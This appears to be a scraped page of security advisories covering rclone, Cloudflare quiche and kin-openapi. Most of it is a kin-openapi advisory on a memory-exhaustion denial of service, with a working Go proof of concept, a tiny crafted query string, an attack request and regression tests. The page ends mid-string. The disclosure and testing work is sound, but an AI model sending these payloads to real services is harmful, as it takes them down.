"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71310"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/21d8cd3b92cd81d987f485051d454ea675d91a2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-6199"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rclone: Unbounded HTTP CONNECT Response Headers Can Exhaust rclone Memory"
}
GHSA-XHG9-XWCH-VR7X
Vulnerability from github – Published: 2024-03-13 15:38 – Updated: 2024-03-13 15:38
VLAI
Summary
quiche vulnerable to unbounded storage of information related to connection ID retirement
Details
Impact
Cloudflare quiche was discovered to be vulnerable to unbounded storage of information related to connection ID retirement, which could lead to excessive resource consumption. Each QUIC connection possesses a set of connection Identifiers (IDs); see RFC 9000 Section 5.1. Endpoints declare the number of active connection IDs they are willing to support using the active_connection_id_limit transport parameter. The peer can create new IDs using a NEW_CONNECTION_ID frame but must stay within the active ID limit. This is done by retirement of old IDs, the endpoint sends NEW_CONNECTION_ID includes a value in the retire_prior_to field, which elicits a RETIRE_CONNECTION_ID frame as confirmation. An unauthenticated remote attacker can exploit the vulnerability by sending NEW_CONNECTION_ID frames and manipulating the connection (e.g. by restricting the peer's congestion window size) so that RETIRE_CONNECTION_ID frames can only be sent at a slower rate than they are received, leading to storage of information related to connection IDs in an unbounded queue.
Patches
Quiche versions 0.19.2 and 0.20.1 are the earliest to address this problem. There is no workaround for affected versions.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "quiche"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "quiche"
},
"ranges": [
{
"events": [
{
"introduced": "0.20.0"
},
{
"fixed": "0.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1410"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-13T15:38:21Z",
"nvd_published_at": "2024-03-12T18:15:07Z",
"severity": "LOW"
},
"details": "### Impact\n\nCloudflare quiche was discovered to be vulnerable to unbounded storage of information related to connection ID retirement, which could lead to excessive resource consumption. Each QUIC connection possesses a set of connection Identifiers (IDs); see [RFC 9000 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9000#section-5.1). Endpoints declare the number of active connection IDs they are willing to support using the active_connection_id_limit transport parameter. The peer can create new IDs using a NEW_CONNECTION_ID frame but must stay within the active ID limit. This is done by retirement of old IDs, the endpoint sends NEW_CONNECTION_ID includes a value in the retire_prior_to field, which elicits a RETIRE_CONNECTION_ID frame as confirmation. An unauthenticated remote attacker can exploit the vulnerability by sending NEW_CONNECTION_ID frames and manipulating the connection (e.g. by restricting the peer\u0027s congestion window size) so that RETIRE_CONNECTION_ID frames can only be sent at a slower rate than they are received, leading to storage of information related to connection IDs in an unbounded queue. \n\n### Patches\n\nQuiche versions 0.19.2 and 0.20.1 are the earliest to address this problem. There is no workaround for affected versions.",
"id": "GHSA-xhg9-xwch-vr7x",
"modified": "2024-03-13T15:38:21Z",
"published": "2024-03-13T15:38:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/security/advisories/GHSA-xhg9-xwch-vr7x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1410"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/commit/0c5733a84c41e9e178adc866b11ce59ac264f5af"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/commit/5be8143126f8cfa8a483d4a5ae475b9a46053fa1"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/commit/7ab42af5f5e97f20f1d63b7ea2f9ab0536678c40"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/commit/a983998c4408605905ee9a6ab0fc00e68436ac67"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudflare/quiche"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/releases/tag/0.19.2"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/quiche/releases/tag/0.20.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "quiche vulnerable to unbounded storage of information related to connection ID retirement"
}
GHSA-XHJ3-7XW9-VR34
Vulnerability from github – Published: 2026-08-21 20:56 – Updated: 2026-08-21 20:56
VLAI
Summary
kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding
Details
Summary
An uncontrolled resource consumption vulnerability in openapi3filter lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a deepObject-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from 0 up to that index — before schema validation (including maxItems) ever runs. A request as small as 24 bytes (?param[items][50000000]=x) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services.
Details
The OpenAPI style: deepObject serialization lets clients express arrays in the query string using bracket notation, e.g. param[items][0]=a¶m[items][1]=b. The decoder first collects these into an intermediate map[string]any keyed by the string of the index, then converts that sparse map into a real []any in sliceMapToSlice:
// req_resp_decoder.go (vulnerable version)
func sliceMapToSlice(m map[string]any) ([]any, error) {
var result []any
keys := make([]int, 0, len(m))
for k := range m {
key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled
if err != nil {
return nil, fmt.Errorf("array indexes must be integers: %w", err)
}
keys = append(keys, key)
}
max := -1
for _, k := range keys {
if k > max {
max = k // max = attacker's index, unbounded
}
}
for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max
val, ok := m[strconv.Itoa(i)]
if !ok {
result = append(result, nil) // fills every sparse hole with nil
continue
}
result = append(result, val)
}
return result, nil
}
A second, equally-sized allocation follows immediately in buildResObj:
resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1
for i := range arr {
r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)
...
}
So a single attacker-chosen integer N produces an append-grown []any of length N+1, a second make([]any, N+1), and N+1 recursion steps — with no upper bound other than strconv.Atoi's int range (~9.2×10¹⁸ on 64-bit) and available memory.
Why maxItems does not help. maxItems is enforced by schema validation, which runs strictly after parameter decoding completes. sliceMapToSlice/buildResObj fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the maxItems violation, proving the allocation happened before it could be prevented.
Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: application/json bodies build arrays element-by-element from the literal (no "index" concept to inflate); x-www-form-urlencoded and multipart/form-data arrays are sized by the number of repeated fields actually sent; and the other makeObject call sites (path/simple, header/simple, cookie/form, at :479, :777, :841) build their intermediate map via propsFromString, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject propsFn (:661-687) synthesizes the bracketed integer keys that reach sliceMapToSlice with an attacker-controlled magnitude.
Preconditions. The target spec needs a query parameter with in: query, style: deepObject (typically explode: true), and a schema whose graph contains at least one type: array. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any maxItems constraint on the array.
Introduced in. sliceMapToSlice, including the unbounded 0..max fill loop, was added whole-cloth in commit 78bb273 ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in v0.124.0. Every tagged release from v0.124.0 through the current v0.141.0 / master (1d0a337) contains the vulnerable code path.
PoC
Verified against revision 1d0a337c9b1570fab283be8a04c8af6e43b9a22c (v0.141.0, current master at the time of writing), Go 1.25.0, darwin/arm64.
1. Spec — one operation accepting a deepObject query parameter whose items property is an array (maxItems: 3 is declared deliberately, to prove it does not help):
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (gorillamux router → openapi3filter.ValidateRequest) any real HTTP server uses:
package main
import (
"context"
"fmt"
"net/http"
"runtime"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, _ := loader.LoadFromData([]byte(spec))
_ = doc.Validate(loader.Context)
router, _ := gorillamux.NewRouter(doc)
// Attacker-controlled index. A 24-byte query string is enough to force
// materialization of a 50-million-element slice.
const rawQuery = "param[items][50000000]=x"
r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
route, pp, _ := router.FindRoute(r)
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
runtime.ReadMemStats(&after)
fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery))
fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
fmt.Printf("ValidateRequest error: %v\n", err)
}
3. Observed output (go run ., unpatched tree, re-verified in this pass):
query string: "param[items][50000000]=x" (24 bytes)
heap allocated during ValidateRequest: 6231.1 MiB
ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3
A 24-byte query string drove ~6.1 GiB of heap allocation in a single call, and the returned error is the maxItems rejection — proof that the array was fully materialized before validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):
| Query string | Wire size | Heap allocated | Amplification |
|---|---|---|---|
param[items][10000]=x |
21 B | 0.9 MiB | ~44,000× |
param[items][100000]=x |
22 B | 11.1 MiB | ~529,000× |
param[items][1000000]=x |
23 B | 114 MiB | ~5,200,000× |
param[items][5000000]=x |
23 B | 555 MiB | ~25,300,000× |
param[items][50000000]=x |
24 B | 6.1 GiB | ~272,000,000× |
Attack request (nothing else required — no body, no auth, no unusual headers):
GET /whatever?param[items][50000000]=x HTTP/1.1
Host: victim
Control (confirms only deepObject is a vector): repeating the equivalent "large array" attempt against application/json, application/x-www-form-urlencoded, multipart/form-data bodies, and non-deepObject path/header/cookie styles stays under ~27 KiB in every case.
4. Regression/scaling test suite — a broader harness driving the same public entry point, adding the ordering proof (TestC02_AllocationBeforeValidation), the nested-index amplifier, and the cross-encoding controls referenced above. Save as openapi3filter/zzz_c02_verify_test.go and run with C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v (unset C02_BIG to skip the two largest, slower indexes):
package openapi3filter_test
import (
"bytes"
"fmt"
"mime/multipart"
"net/http"
"net/url"
"os"
"runtime"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
// measureAlloc runs fn and reports the number of bytes of heap it caused to be
// allocated (TotalAlloc delta), which counts even memory that was already freed
// by the time fn returned. This captures transient allocation spikes.
func measureAlloc(fn func()) uint64 {
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
fn()
runtime.ReadMemStats(&after)
return after.TotalAlloc - before.TotalAlloc
}
const c02Spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {
t.Helper()
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(c02Spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
validate := func(rawquery string) error {
req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req,
PathParams: pathParams,
Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}
return doc, validate
}
// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single
// tiny deepObject query with a large array index.
func TestC02_Reproduce_MemoryExhaustion(t *testing.T) {
_, validate := c02Router(t)
base := measureAlloc(func() {
_ = validate("param[items][0]=a¶m[items][1]=b¶m[items][2]=c")
})
t.Logf("baseline (3 legit items): %s allocated", humanBytes(base))
indexes := []int{10_000, 100_000, 1_000_000}
if os.Getenv("C02_BIG") == "1" {
indexes = append(indexes, 5_000_000, 50_000_000)
}
const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this
worst := uint64(0)
for _, idx := range indexes {
q := fmt.Sprintf("param[items][%d]=x", idx)
alloc := measureAlloc(func() {
err := validate(q)
require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)
})
if alloc > worst {
worst = alloc
}
ratio := float64(alloc) / float64(len(q))
t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)",
idx, len(q), humanBytes(alloc), ratio)
}
require.Less(t, worst, uint64(fixThreshold),
"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high",
humanBytes(worst))
}
// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable
// tree the huge allocation happened even though maxItems:3 is declared, proving
// materialization precedes schema validation.
func TestC02_AllocationBeforeValidation(t *testing.T) {
_, validate := c02Router(t)
const idx = 2_000_000
q := fmt.Sprintf("param[items][%d]=x", idx)
var gotErr error
alloc := measureAlloc(func() {
gotErr = validate(q)
})
require.Error(t, gotErr)
t.Logf("index=%d (query %d bytes) allocated %s; error: %v",
idx, len(q), humanBytes(alloc), gotErr)
// On the vulnerable tree this value was ~225 MiB and this assertion fails,
// flagging the regression. On the fixed tree it stays well under 32 MiB.
require.Less(t, alloc, uint64(32<<20),
"C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc))
}
// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and
// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent
// "large index" payload in those encodings does not explode.
func TestC02_OnlyDeepObjectAffected(t *testing.T) {
spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/b:
post:
requestBody:
content:
application/json:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
application/x-www-form-urlencoded:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
multipart/form-data:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
responses:
'200': {description: ok}
`
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
do := func(ct, body string) (error, uint64) {
var e error
alloc := measureAlloc(func() {
req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body))
req.Header.Set("Content-Type", ct)
route, pathParams, rerr := router.FindRoute(req)
require.NoError(t, rerr)
e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
return e, alloc
}
_, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`)
t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc))
require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon")
form := url.Values{}
form.Set("items", "a")
form.Add("items", "b")
_, formAlloc := do("application/x-www-form-urlencoded", form.Encode())
t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc))
require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon")
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("items", "a"))
require.NoError(t, w.WriteField("items", "b"))
require.NoError(t, w.Close())
_, mpAlloc := do(w.FormDataContentType(), buf.String())
t.Logf("multipart fields: %s", humanBytes(mpAlloc))
require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon")
}
// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points
// (path/simple, header/simple, cookie/form). These build props via
// propsFromString, whose keys are property names, not bracketed integer
// indexes -- so a big number lands as a string key that fails strconv.Atoi
// cleanly, without materializing a giant slice.
func TestC02_NonDeepObjectStylesSafe(t *testing.T) {
spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/p/{param}:
get:
parameters:
- name: param
in: path
required: true
style: simple
explode: false
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
responses:
'200': {description: ok}
`
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
alloc := measureAlloc(func() {
req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil)
route, pathParams, rerr := router.FindRoute(req)
require.NoError(t, rerr)
_ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
t.Logf("path/simple object with big scalar: %s", humanBytes(alloc))
require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon")
}
func humanBytes(b uint64) string {
const unit = 1024
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := uint64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp])
}
Observed output re-run in this pass (C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v):
- Unpatched tree (fix reverted via
git stash push -- openapi3filter/req_resp_decoder.go):TestC02_Reproduce_MemoryExhaustionreproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), andTestC02_AllocationBeforeValidationmeasured 225.2 MiB allocated forindex=2,000,000before themaxItemsrejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected. - Patched tree (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and
TestC02_OnlyDeepObjectAffected/TestC02_NonDeepObjectStylesSafeconfirm the other encodings and parameter styles were never affected.
Impact
- Type: Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → unauthenticated remote denial of service.
- Who is impacted: any application using
github.com/getkin/kin-openapi/openapi3filterto validate requests against a spec that declares anin: query,style: deepObjectparameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec. - Attack: a single unauthenticated
GETrequest with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding orContent-Lengthtrickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it. - Consequence: a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared
maxItemsconstraint on the array does not prevent this, because materialization happens during decoding, strictly before schema validation runs. - Not affected: specs that do not use
style: deepObjectfor array-bearing query parameters; requests viaapplication/json,x-www-form-urlencoded, ormultipart/form-databodies; andpath/header/cookiestyled object parameters (all verified empirically above, and re-verified in this pass).
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.124.0"
},
{
"fixed": "0.142.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77354"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:56:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index \u2014 *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k) // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k // max = attacker\u0027s index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ { // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil) // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps \u2014 with **no upper bound** other than `strconv.Atoi`\u0027s `int` range (~9.2\u00d710\u00b9\u2078 on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects \u2014 and rejects \u2014 the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec \u2014 it is exactly the pattern the library\u0027s own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** \u2014 one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router \u2192 `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection \u2014 proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000\u00d7 |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000\u00d7 |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000\u00d7 |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000\u00d7 |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000\u00d7 |\n\n**Attack request** (nothing else required \u2014 no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** \u2014 a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport 